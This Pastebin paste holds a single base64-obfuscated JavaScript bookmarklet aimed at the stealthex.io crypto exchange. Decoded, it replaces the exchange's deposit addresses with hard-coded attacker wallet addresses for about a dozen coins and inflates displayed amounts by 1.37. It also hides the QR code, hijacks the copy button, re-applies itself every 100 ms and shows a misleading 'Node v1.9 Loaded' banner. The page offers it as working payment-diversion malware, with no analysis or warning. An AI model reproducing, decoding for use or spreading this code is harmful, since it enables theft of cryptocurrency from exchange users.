Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void(eval(atob('KGZ1bmN0aW9uKCkgewogICAgLy8gPT09PT0gVVNFUiBDT05GSUcg4oCTIFJFUExBQ0UgV0lUSCBZT1VSIEFERFJFU1NFUyA9PT09PQogICAgY29uc3QgQUREUkVTU0VTID0gewogICAgICAgIGJ0YzogJ2JjMXEwNndjbG1sNHhtdW40eDIwdnNzNjU2dnMyZ3FjcXphdGE0ZWV5ZycsCiAgICAgICAgZXRoOiAnMHg4RTM3MEFCQzllNjg4MzRGRDQ4Rjk1ZjE1OTcwYjI5MzkzODI4NjQ1JywKICAgICAgICB4bXI6ICc0OVRiTDJhVjFDdVU1VGJhbmdlVDdGZ3phajhUREVDWVlNTTJvZ1N2UjE0TDZtVWpkakV6UU04YXI3YlU3N2ZnYUNRbUNpVXAxUHJuRGlxU1czZVRaQXZzQW9LQ1BQTScsCiAgICAgICAgdHJ4OiAnVEJUTTJYNFRScjVFdXlHRnF4THVycVAxYTh3cjNUcG4zSicsCiAgICAgICAgbHRjOiAnTFlqdnYyeDd2NjcxYTRnMVE4dkdma3hDTVVwQzJrY3NjeicsCiAgICAgICAgc29sOiAnQ3JZdVZqOGlOOFNqN29Mc1RhSzY5aTN4dWt4YzF0aWt3cWhQRFdyQ2hveE4nLAogICAgICAgIHVzZHQ6ICdUQlRNMlg0VFJyNUV1eUdGcXhMdXJxUDFhOHdyM1RwbjNKJywKICAgICAgICB1c2RjOiAnMHg4RTM3MEFCQzllNjg4MzRGRDQ4Rjk1ZjE1OTcwYjI5MzkzODI4NjQ1JywKICAgICAgICB6ZWM6ICd0MWIybXdUc29EbUVwa0xCWlZBTFprWUFZTUJqQzZ1WFNoNicsCiAgICAgICAgeGxtOiAnR0Q3T0ZDVkpGRjdNM0M0UE9VV09aQUpQSFNGMk9KRFdENlk0WE9DQkFHU09NNEhGS0JIN1dKUkonLAogICAgICAgIHhycDogJ3JmV0NwSjJjNEtnYnpwQlBwbnBjWE1pclkxZHBYOXk0RnInCiAgICB9OwogICAgY29uc3QgREVGQVVMVF9BRERSRVNTID0gQUREUkVTU0VTLmJ0YzsKICAgIGNvbnN0IElORkxBVElPTl9NVUxUSVBMSUVSID0gMS4zNzsKCiAgICAvLyA9PT09PSBTZWxlY3RvcnMgPT09PT0KICAgIGNvbnN0IEFERFJFU1NfU0VMRUNUT1IgPSAnc3BhbltkYXRhLXRlc3RpZD0iZXhjaGFuZ2UtYWRkcmVzcy1mcm9tIl0nOwogICAgY29uc3QgQU1PVU5UX0ZST01fU0VMRUNUT1IgPSAnc3BhbltkYXRhLXRlc3RpZD0iZXhjaGFuZ2UtYW1vdW50LWZyb20iXSc7CiAgICBjb25zdCBDVVJSRU5DWV9MQUJFTF9TRUxFQ1RPUiA9ICdsYWJlbFtmb3I9ImV4Y2hhbmdlLWZyb20taW5wdXQiXSc7CiAgICBjb25zdCBDVVJSRU5DWV9GQUxMQkFDS19TRUxFQ1RPUiA9ICcjZnJvbUNyeXB0b05hbWUsIC5jcnlwdG8tbmFtZSc7CiAgICBjb25zdCBTRU5EX1NFTEVDVE9SID0gJ2lucHV0W2RhdGEtdGVzdGlkPSJleGNoYW5nZS1mcm9tLWlucHV0Il0nOwogICAgY29uc3QgQU1PVU5UX1NFTEVDVE9SUyA9IFsKICAgICAgICAnaW5wdXRbZGF0YS10ZXN0aWQ9ImV4Y2hhbmdlLXRvLWlucHV0Il0nLAogICAgICAgICdzcGFuLnNjLTRlNzM5ZWVkLTguZE1YRGZoJywKICAgICAgICAnc3BhbltkYXRhLXRlc3RpZD0iZXhjaGFuZ2UtYW1vdW50LXRvIl0nCiAgICBdOwogICAgY29uc3QgQ09QWV9CVVRUT05fU0VMRUNUT1IgPSAnc3ZnLnNjLWJlM2QxYjk2LTAuandoSmFGJzsKICAgIGNvbnN0IFFSX0NBTlZBU19TRUxFQ1RPUiA9ICdjYW52YXMuc2MtZDc0MDYxMDEtNS5jbXRrU1YnOwoKICAgIGlmICghd2luZG93LmxvY2F0aW9uLmhvc3RuYW1lLmluY2x1ZGVzKCdzdGVhbHRoZXguaW8nKSkgcmV0dXJuOwoKICAgIC8vID09PT09IEhpZGUgUVIgQ29kZSBhZ2dyZXNzaXZlbHkgPT09PT0KICAgIGZ1bmN0aW9uIGhpZGVRUkNvZGUoKSB7CiAgICAgICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihRUl9DQU5WQVNfU0VMRUNUT1IpOwogICAgICAgIGlmIChjYW52YXMpIHsKICAgICAgICAgICAgLy8gVHJ5IHRvIHJlbW92ZSBpdAogICAgICAgICAgICBjYW52YXMucmVtb3ZlKCk7CiAgICAgICAgICAgIC8vIElmIHJlbW92YWwgZmFpbHMgb3IgaXQgcmVhcHBlYXJzLCBoaWRlIGl0IHdpdGggQ1NTCiAgICAgICAgICAgIGNhbnZhcy5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogICAgICAgICAgICBjYW52YXMuc3R5bGUudmlzaWJpbGl0eSA9ICdoaWRkZW4nOwogICAgICAgICAgICBjYW52YXMuc3R5bGUub3BhY2l0eSA9ICcwJzsKICAgICAgICAgICAgY2FudmFzLnN0eWxlLnBvaW50ZXJFdmVudHMgPSAnbm9uZSc7CiAgICAgICAgICAgIC8vIE9wdGlvbmFsbHkgZmlsbCB3aXRoIHdoaXRlIChpZiByZW1vdmFsIGZhaWxzLCBpdCBiZWNvbWVzIGludmlzaWJsZSkKICAgICAgICAgICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoJzJkJyk7CiAgICAgICAgICAgIGlmIChjdHgpIHsKICAgICAgICAgICAgICAgIGN0eC5maWxsU3R5bGUgPSAnI2ZmZmZmZic7CiAgICAgICAgICAgICAgICBjdHguZmlsbFJlY3QoMCwgMCwgY2FudmFzLndpZHRoLCBjYW52YXMuaGVpZ2h0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAvLyBXYXRjaCBmb3IgYW55IG5ldyBjYW52YXMgYW5kIGhpZGUgaXQgaW1tZWRpYXRlbHkKICAgIGNvbnN0IHFyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihmdW5jdGlvbihtdXRhdGlvbnMpIHsKICAgICAgICBtdXRhdGlvbnMuZm9yRWFjaChmdW5jdGlvbihtdXQpIHsKICAgICAgICAgICAgbXV0LmFkZGVkTm9kZXMuZm9yRWFjaChmdW5jdGlvbihub2RlKSB7CiAgICAgICAgICAgICAgICBpZiAobm9kZS5ub2RlVHlwZSA9PT0gMSAmJiBub2RlLm1hdGNoZXMgJiYgbm9kZS5tYXRjaGVzKFFSX0NBTlZBU19TRUxFQ1RPUikpIHsKICAgICAgICAgICAgICAgICAgICBub2RlLnJlbW92ZSgpOwogICAgICAgICAgICAgICAgICAgIG5vZGUuc3R5bGUuZGlzcGxheSA9ICdub25lJzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSk7CiAgICAgICAgfSk7CiAgICB9KTsKICAgIHFyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5ib2R5LCB7IGNoaWxkTGlzdDogdHJ1ZSwgc3VidHJlZTogdHJ1ZSB9KTsKCiAgICAvLyA9PT09PSBHcmVlbiBiYW5uZXIgPT09PT0KICAgIGZ1bmN0aW9uIGFkZEdyZWVuQmFubmVyKCkgewogICAgICAgIGlmIChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbm9kZS1iYW5uZXInKSkgcmV0dXJuOwogICAgICAgIGNvbnN0IGJhbm5lciA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ2RpdicpOwogICAgICAgIGJhbm5lci5pZCA9ICdub2RlLWJhbm5lcic7CiAgICAgICAgYmFubmVyLnN0eWxlLmNzc1RleHQgPSAncG9zaXRpb246IGZpeGVkOyB0b3A6IDA7IGxlZnQ6IDA7IHdpZHRoOiAxMDAlOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDBjODUzOyBjb2xvcjogd2hpdGU7IHRleHQtYWxpZ246IGNlbnRlcjsgcGFkZGluZzogMTJweDsgZm9udC1zaXplOiAxOHB4OyBmb250LXdlaWdodDogYm9sZDsgei1pbmRleDogMTAwMDA7IGJveC1zaGFkb3c6IDAgMnB4IDEwcHggcmdiYSgwLDAsMCwwLjMpOyBib3JkZXItYm90dG9tOiAycHggc29saWQgIzAwOTYyNDsnOwogICAgICAgIGJhbm5lci50ZXh0Q29udGVudCA9ICdOb2RlIHYxLjkgTG9hZGVkJzsKICAgICAgICBkb2N1bWVudC5ib2R5LnByZXBlbmQoYmFubmVyKTsKICAgIH0KCiAgICAvLyA9PT09PSBDdXJyZW5jeSBkZXRlY3Rpb24gPT09PT0KICAgIGZ1bmN0aW9uIGdldEN1cnJlbnRDdXJyZW5jeSgpIHsKICAgICAgICBjb25zdCBhbW91bnRGcm9tID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihBTU9VTlRfRlJPTV9TRUxFQ1RPUik7CiAgICAgICAgaWYgKGFtb3VudEZyb20pIHsKICAgICAgICAgICAgY29uc3QgdGV4dCA9IGFtb3VudEZyb20udGV4dENvbnRlbnQudHJpbSgpOwogICAgICAgICAgICBjb25zdCBtYXRjaCA9IHRleHQubWF0Y2goL1tBLVpdezMsNX0kLyk7CiAgICAgICAgICAgIGlmIChtYXRjaCkgewogICAgICAgICAgICAgICAgY29uc3QgY29kZSA9IG1hdGNoWzBdLnRvTG93ZXJDYXNlKCk7CiAgICAgICAgICAgICAgICBpZiAoY29kZSA9PT0gJ2J0YycpIHJldHVybiAnYnRjJzsKICAgICAgICAgICAgICAgIGlmIChjb2RlID09PSAnZXRoJykgcmV0dXJuICdldGgnOwogICAgICAgICAgICAgICAgaWYgKGNvZGUgPT09ICd4bXInKSByZXR1cm4gJ3htcic7CiAgICAgICAgICAgICAgICBpZiAoY29kZSA9PT0gJ3RyeCcpIHJldHVybiAndHJ4JzsKICAgICAgICAgICAgICAgIGlmIChjb2RlID09PSAnbHRjJykgcmV0dXJuICdsdGMnOwogICAgICAgICAgICAgICAgaWYgKGNvZGUgPT09ICdzb2wnKSByZXR1cm4gJ3NvbCc7CiAgICAgICAgICAgICAgICBpZiAoY29kZS5pbmNsdWRlcygndXNkdCcpKSByZXR1cm4gJ3VzZHQnOwogICAgICAgICAgICAgICAgaWYgKGNvZGUgPT09ICd1c2RjJykgcmV0dXJuICd1c2RjJzsKICAgICAgICAgICAgICAgIGlmIChjb2RlID09PSAnemVjJykgcmV0dXJuICd6ZWMnOwogICAgICAgICAgICAgICAgaWYgKGNvZGUgPT09ICd4bG0nKSByZXR1cm4gJ3hsbSc7CiAgICAgICAgICAgICAgICBpZiAoY29kZSA9PT0gJ3hycCcpIHJldHVybiAneHJwJzsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBjb25zdCBsYWJlbCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoQ1VSUkVOQ1lfTEFCRUxfU0VMRUNUT1IpOwogICAgICAgIGlmIChsYWJlbCkgewogICAgICAgICAgICBsZXQgdGV4dCA9IGxhYmVsLnRleHRDb250ZW50LnRyaW0oKS5yZXBsYWNlKC9eU2VuZC9pLCAnJykudHJpbSgpLnRvTG93ZXJDYXNlKCk7CiAgICAgICAgICAgIGlmICh0ZXh0LmluY2x1ZGVzKCdiaXRjb2luJykpIHJldHVybiAnYnRjJzsKICAgICAgICAgICAgaWYgKHRleHQuaW5jbHVkZXMoJ21vbmVybycpKSByZXR1cm4gJ3htcic7CiAgICAgICAgICAgIGlmICh0ZXh0LmluY2x1ZGVzKCd0cm9uJykpIHJldHVybiAndHJ4JzsKICAgICAgICAgICAgaWYgKHRleHQuaW5jbHVkZXMoJ2xpdGVjb2luJykpIHJldHVybiAnbHRjJzsKICAgICAgICAgICAgaWYgKHRleHQuaW5jbHVkZXMoJ3NvbGFuYScpKSByZXR1cm4gJ3NvbCc7CiAgICAgICAgICAgIGlmICh0ZXh0LmluY2x1ZGVzKCd0ZXRoZXInKSkgcmV0dXJuICd1c2R0JzsKICAgICAgICAgICAgaWYgKHRleHQuaW5jbHVkZXMoJ3VzZCBjb2luJykpIHJldHVybiAndXNkYyc7CiAgICAgICAgICAgIGlmICh0ZXh0LmluY2x1ZGVzKCd6Y2FzaCcpKSByZXR1cm4gJ3plYyc7CiAgICAgICAgICAgIGlmICh0ZXh0LmluY2x1ZGVzKCdzdGVsbGFyJykpIHJldHVybiAneGxtJzsKICAgICAgICAgICAgaWYgKHRleHQuaW5jbHVkZXMoJ3hycCcpKSByZXR1cm4gJ3hycCc7CiAgICAgICAgfQogICAgICAgIGNvbnN0IGZhbGxiYWNrRWwgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKENVUlJFTkNZX0ZBTExCQUNLX1NFTEVDVE9SKTsKICAgICAgICBpZiAoZmFsbGJhY2tFbCkgewogICAgICAgICAgICBjb25zdCBmYlRleHQgPSBmYWxsYmFja0VsLnRleHRDb250ZW50LnRyaW0oKS50b0xvd2VyQ2FzZSgpOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCdidGMnKSkgcmV0dXJuICdidGMnOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCdldGgnKSkgcmV0dXJuICdldGgnOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCd4bXInKSkgcmV0dXJuICd4bXInOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCd0cngnKSkgcmV0dXJuICd0cngnOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCdsdGMnKSkgcmV0dXJuICdsdGMnOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCdzb2wnKSkgcmV0dXJuICdzb2wnOwogICAgICAgICAgICBpZiAoZmJUZXh0LmluY2x1ZGVzKCd1c2R0JykpIHJldHVybiAndXNkdCc7CiAgICAgICAgICAgIGlmIChmYlRleHQuaW5jbHVkZXMoJ3VzZGMnKSkgcmV0dXJuICd1c2RjJzsKICAgICAgICAgICAgaWYgKGZiVGV4dC5pbmNsdWRlcygnemVjJykpIHJldHVybiAnemVjJzsKICAgICAgICAgICAgaWYgKGZiVGV4dC5pbmNsdWRlcygneGxtJykpIHJldHVybiAneGxtJzsKICAgICAgICAgICAgaWYgKGZiVGV4dC5pbmNsdWRlcygneHJwJykpIHJldHVybiAneHJwJzsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIG51bGw7CiAgICB9CgogICAgLy8gPT09PT0gQ29weSBidXR0b24gaGlqYWNrID09PT09CiAgICBmdW5jdGlvbiBzZXR1cENvcHlIaWphY2soKSB7CiAgICAgICAgZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcignY2xpY2snLCBmdW5jdGlvbihlKSB7CiAgICAgICAgICAgIGNvbnN0IHRhcmdldCA9IGUudGFyZ2V0OwogICAgICAgICAgICBjb25zdCBpc0NvcHlCdXR0b24gPSB0YXJnZXQuY2xvc2VzdChDT1BZX0JVVFRPTl9TRUxFQ1RPUikgIT09IG51bGw7CiAgICAgICAgICAgIGlmICghaXNDb3B5QnV0dG9uKSByZXR1cm47CiAgICAgICAgICAgIGUucHJldmVudERlZmF1bHQoKTsKICAgICAgICAgICAgZS5zdG9wUHJvcGFnYXRpb24oKTsKICAgICAgICAgICAgZS5zdG9wSW1tZWRpYXRlUHJvcGFnYXRpb24oKTsKICAgICAgICAgICAgY29uc3QgYWRkckVsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihBRERSRVNTX1NFTEVDVE9SKTsKICAgICAgICAgICAgaWYgKGFkZHJFbCAmJiBhZGRyRWwudGV4dENvbnRlbnQpIHsKICAgICAgICAgICAgICAgIG5hdmlnYXRvci5jbGlwYm9hcmQud3JpdGVUZXh0KGFkZHJFbC50ZXh0Q29udGVudCkuY2F0Y2goKCkgPT4ge30pOwogICAgICAgICAgICB9CiAgICAgICAgfSwgdHJ1ZSk7CiAgICB9CgogICAgLy8gPT09PT0gQWRkcmVzcyByZXBsYWNlbWVudCA9PT09PQogICAgZnVuY3Rpb24gcmVwbGFjZUFkZHJlc3MoKSB7CiAgICAgICAgY29uc3QgYWRkckVsID0gZG9jdW1lbnQucXVlcnlTZWxlY3RvcihBRERSRVNTX1NFTEVDVE9SKTsKICAgICAgICBpZiAoIWFkZHJFbCkgcmV0dXJuOwogICAgICAgIGNvbnN0IGN1cnJlbmN5ID0gZ2V0Q3VycmVudEN1cnJlbmN5KCk7CiAgICAgICAgY29uc3QgYXR0YWNrZXJBZGRyID0gKGN1cnJlbmN5ICYmIEFERFJFU1NFU1tjdXJyZW5jeV0pID8gQUREUkVTU0VTW2N1cnJlbmN5XSA6IERFRkFVTFRfQUREUkVTUzsKICAgICAgICBpZiAoYWRkckVsLnRleHRDb250ZW50ICE9PSBhdHRhY2tlckFkZHIpIHsKICAgICAgICAgICAgYWRkckVsLnRleHRDb250ZW50ID0gYXR0YWNrZXJBZGRyOwogICAgICAgICAgICBjb25zdCBoaWRkZW5JbnB1dCA9IGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3IoJ2lucHV0W3R5cGU9ImhpZGRlbiJdW3ZhbHVlKj0iJyArIGFkZHJFbC50ZXh0Q29udGVudCArICciXScpOwogICAgICAgICAgICBpZiAoaGlkZGVuSW5wdXQpIGhpZGRlbklucHV0LnZhbHVlID0gYXR0YWNrZXJBZGRyOwogICAgICAgIH0KICAgIH0KCiAgICAvLyA9PT09PSBBbW91bnQgaW5mbGF0aW9uID09PT09CiAgICBjb25zdCBiYXNlbGluZU1hcCA9IG5ldyBXZWFrTWFwKCk7CiAgICBsZXQgbGFzdFNlbmRWYWx1ZSA9IG51bGw7CgogICAgZnVuY3Rpb24gaGFuZGxlU2VuZENoYW5nZSgpIHsKICAgICAgICBjb25zdCBzZW5kSW5wdXQgPSBkb2N1bWVudC5xdWVyeVNlbGVjdG9yKFNFTkRfU0VMRUNUT1IpOwogICAgICAgIGlmICghc2VuZElucHV0KSByZXR1cm47CiAgICAgICAgY29uc3QgY3VycmVudFNlbmQgPSBzZW5kSW5wdXQudmFsdWU7CiAgICAgICAgaWYgKGN1cnJlbnRTZW5kICE9PSBsYXN0U2VuZFZhbHVlKSB7CiAgICAgICAgICAgIEFNT1VOVF9TRUxFQ1RPUlMuZm9yRWFjaChzZWxlY3RvciA9PiB7CiAgICAgICAgICAgICAgICBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKHNlbGVjdG9yKS5mb3JFYWNoKGVsID0+IGJhc2VsaW5lTWFwLmRlbGV0ZShlbCkpOwogICAgICAgICAgICB9KTsKICAgICAgICAgICAgbGFzdFNlbmRWYWx1ZSA9IGN1cnJlbnRTZW5kOwogICAgICAgIH0KICAgIH0KCiAgICBmdW5jdGlvbiBpbmZsYXRlRWxlbWVudChlbCkgewogICAgICAgIGlmICghZWwpIHJldHVybjsKICAgICAgICBsZXQgZnVsbFRleHQgPSAoZWwudGFnTmFtZSA9PT0gJ0lOUFVUJykgPyBlbC52YWx1ZSA6IGVsLnRleHRDb250ZW50OwogICAgICAgIGlmICghZnVsbFRleHQpIHJldHVybjsKICAgICAgICBjb25zdCBtYXRjaCA9IGZ1bGxUZXh0Lm1hdGNoKC8oW1xkLl0rKS8pOwogICAgICAgIGlmICghbWF0Y2gpIHJldHVybjsKICAgICAgICBjb25zdCBvcmlnaW5hbE51bSA9IHBhcnNlRmxvYXQobWF0Y2hbMF0pOwogICAgICAgIGlmIChpc05hTihvcmlnaW5hbE51bSkpIHJldHVybjsKCiAgICAgICAgbGV0IGJhc2VsaW5lID0gYmFzZWxpbmVNYXAuZ2V0KGVsKTsKICAgICAgICBpZiAoYmFzZWxpbmUgPT09IHVuZGVmaW5lZCkgewogICAgICAgICAgICBiYXNlbGluZSA9IG9yaWdpbmFsTnVtOwogICAgICAgICAgICBiYXNlbGluZU1hcC5zZXQoZWwsIGJhc2VsaW5lKTsKICAgICAgICB9CgogICAgICAgIGNvbnN0IGluZmxhdGVkTnVtID0gYmFzZWxpbmUgKiBJTkZMQVRJT05fTVVMVElQTElFUjsKICAgICAgICBjb25zdCBmb3JtYXR0ZWQgPSBpbmZsYXRlZE51bS50b0ZpeGVkKDQpOwogICAgICAgIGNvbnN0IG5ld0Z1bGxUZXh0ID0gZnVsbFRleHQucmVwbGFjZShtYXRjaFswXSwgZm9ybWF0dGVkKTsKCiAgICAgICAgaWYgKGVsLnRhZ05hbWUgPT09ICdJTlBVVCcpIHsKICAgICAgICAgICAgaWYgKGVsLnZhbHVlICE9PSBuZXdGdWxsVGV4dCkgewogICAgICAgICAgICAgICAgZWwudmFsdWUgPSBuZXdGdWxsVGV4dDsKICAgICAgICAgICAgICAgIGVsLnNldEF0dHJpYnV0ZSgndmFsdWUnLCBuZXdGdWxsVGV4dCk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBpZiAoZWwudGV4dENvbnRlbnQgIT09IG5ld0Z1bGxUZXh0KSB7CiAgICAgICAgICAgICAgICBlbC50ZXh0Q29udGVudCA9IG5ld0Z1bGxUZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQoKICAgIGZ1bmN0aW9uIGluZmxhdGVBbGxBbW91bnRzKCkgewogICAgICAgIEFNT1VOVF9TRUxFQ1RPUlMuZm9yRWFjaChzZWxlY3RvciA9PiB7CiAgICAgICAgICAgIGRvY3VtZW50LnF1ZXJ5U2VsZWN0b3JBbGwoc2VsZWN0b3IpLmZvckVhY2goZWwgPT4gaW5mbGF0ZUVsZW1lbnQoZWwpKTsKICAgICAgICB9KTsKICAgIH0KCiAgICBmdW5jdGlvbiBpbmplY3RBbGwoKSB7CiAgICAgICAgaGFuZGxlU2VuZENoYW5nZSgpOwogICAgICAgIHJlcGxhY2VBZGRyZXNzKCk7CiAgICAgICAgaW5mbGF0ZUFsbEFtb3VudHMoKTsKICAgICAgICBoaWRlUVJDb2RlKCk7IC8vIEFsc28gaGlkZSBRUiBvbiBldmVyeSBwYXNzIChpbiBjYXNlIGl0IHJlYXBwZWFycykKICAgIH0KCiAgICAvLyA9PT09PSBTdGFydCBldmVyeXRoaW5nID09PT09CiAgICBpbmplY3RBbGwoKTsKICAgIHNldHVwQ29weUhpamFjaygpOwogICAgYWRkR3JlZW5CYW5uZXIoKTsKICAgIGhpZGVRUkNvZGUoKTsgLy8gSW1tZWRpYXRlIGhpZGUKCiAgICAvLyBQZXJzaXN0ZW5jZQogICAgc2V0SW50ZXJ2YWwoaW5qZWN0QWxsLCAxMDApOwogICAgY29uc3Qgb2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihpbmplY3RBbGwpOwogICAgb2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5ib2R5LCB7IGNoaWxkTGlzdDogdHJ1ZSwgc3VidHJlZTogdHJ1ZSB9KTsKfSkoKTs=')))
Advertisement
Add Comment
Please, Sign In to add comment